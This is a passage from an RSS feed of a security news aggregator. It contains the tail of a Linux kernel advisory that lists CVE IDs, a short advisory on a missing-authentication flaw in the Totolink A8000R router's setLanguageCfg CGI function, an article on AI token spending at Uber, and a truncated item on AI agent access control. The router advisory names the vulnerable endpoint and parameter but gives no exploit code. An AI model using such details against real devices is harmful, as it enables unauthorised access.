  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5676 | Totolink A8000R 5.9c.681_B20180413 /cgi-bin/cstecgi.cgi setLanguageCfg langType missing authentication]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Totolink A8000R 5.9c.681_B20180413. This issue affects the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. Such manipulation of the argument langType leads to missing authentication.

This vulnerability is uniquely identified as CVE-20...]]></description>
<link>https://tsecurity.de/de/3691486/sicherheitsluecken/cve-2026-5676-totolink-a8000r-59c681b20180413-cgi-bincstecgicgi-setlanguagecfg-langtype-missing-authentication/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691486/sicherheitsluecken/cve-2026-5676-totolink-a8000r-59c681b20180413-cgi-bincstecgicgi-setlanguagecfg-langtype-missing-authentication/</guid>
<pubDate>Fri, 24 Jul 2026 14:12:02 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/totolink:a8000r">Totolink A8000R 5.9c.681_B20180413</a>. This issue affects the function <code>setLanguageCfg</code> of the file <em>/cgi-bin/cstecgi.cgi</em>. Such manipulation of the argument <em>langType</em> leads to missing authentication.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-5676">CVE-2026-5676</a>. The attack can be launched remotely. Moreover, an exploit is present.

Restrictive firewalling should be applied.]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]></title>
<description><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering t...]]></description>
<link>https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</guid>
<pubDate>Fri, 24 Jul 2026 13:41:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering to identity-layer access controls. Where we've collectively landed is that understanding the intent of]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
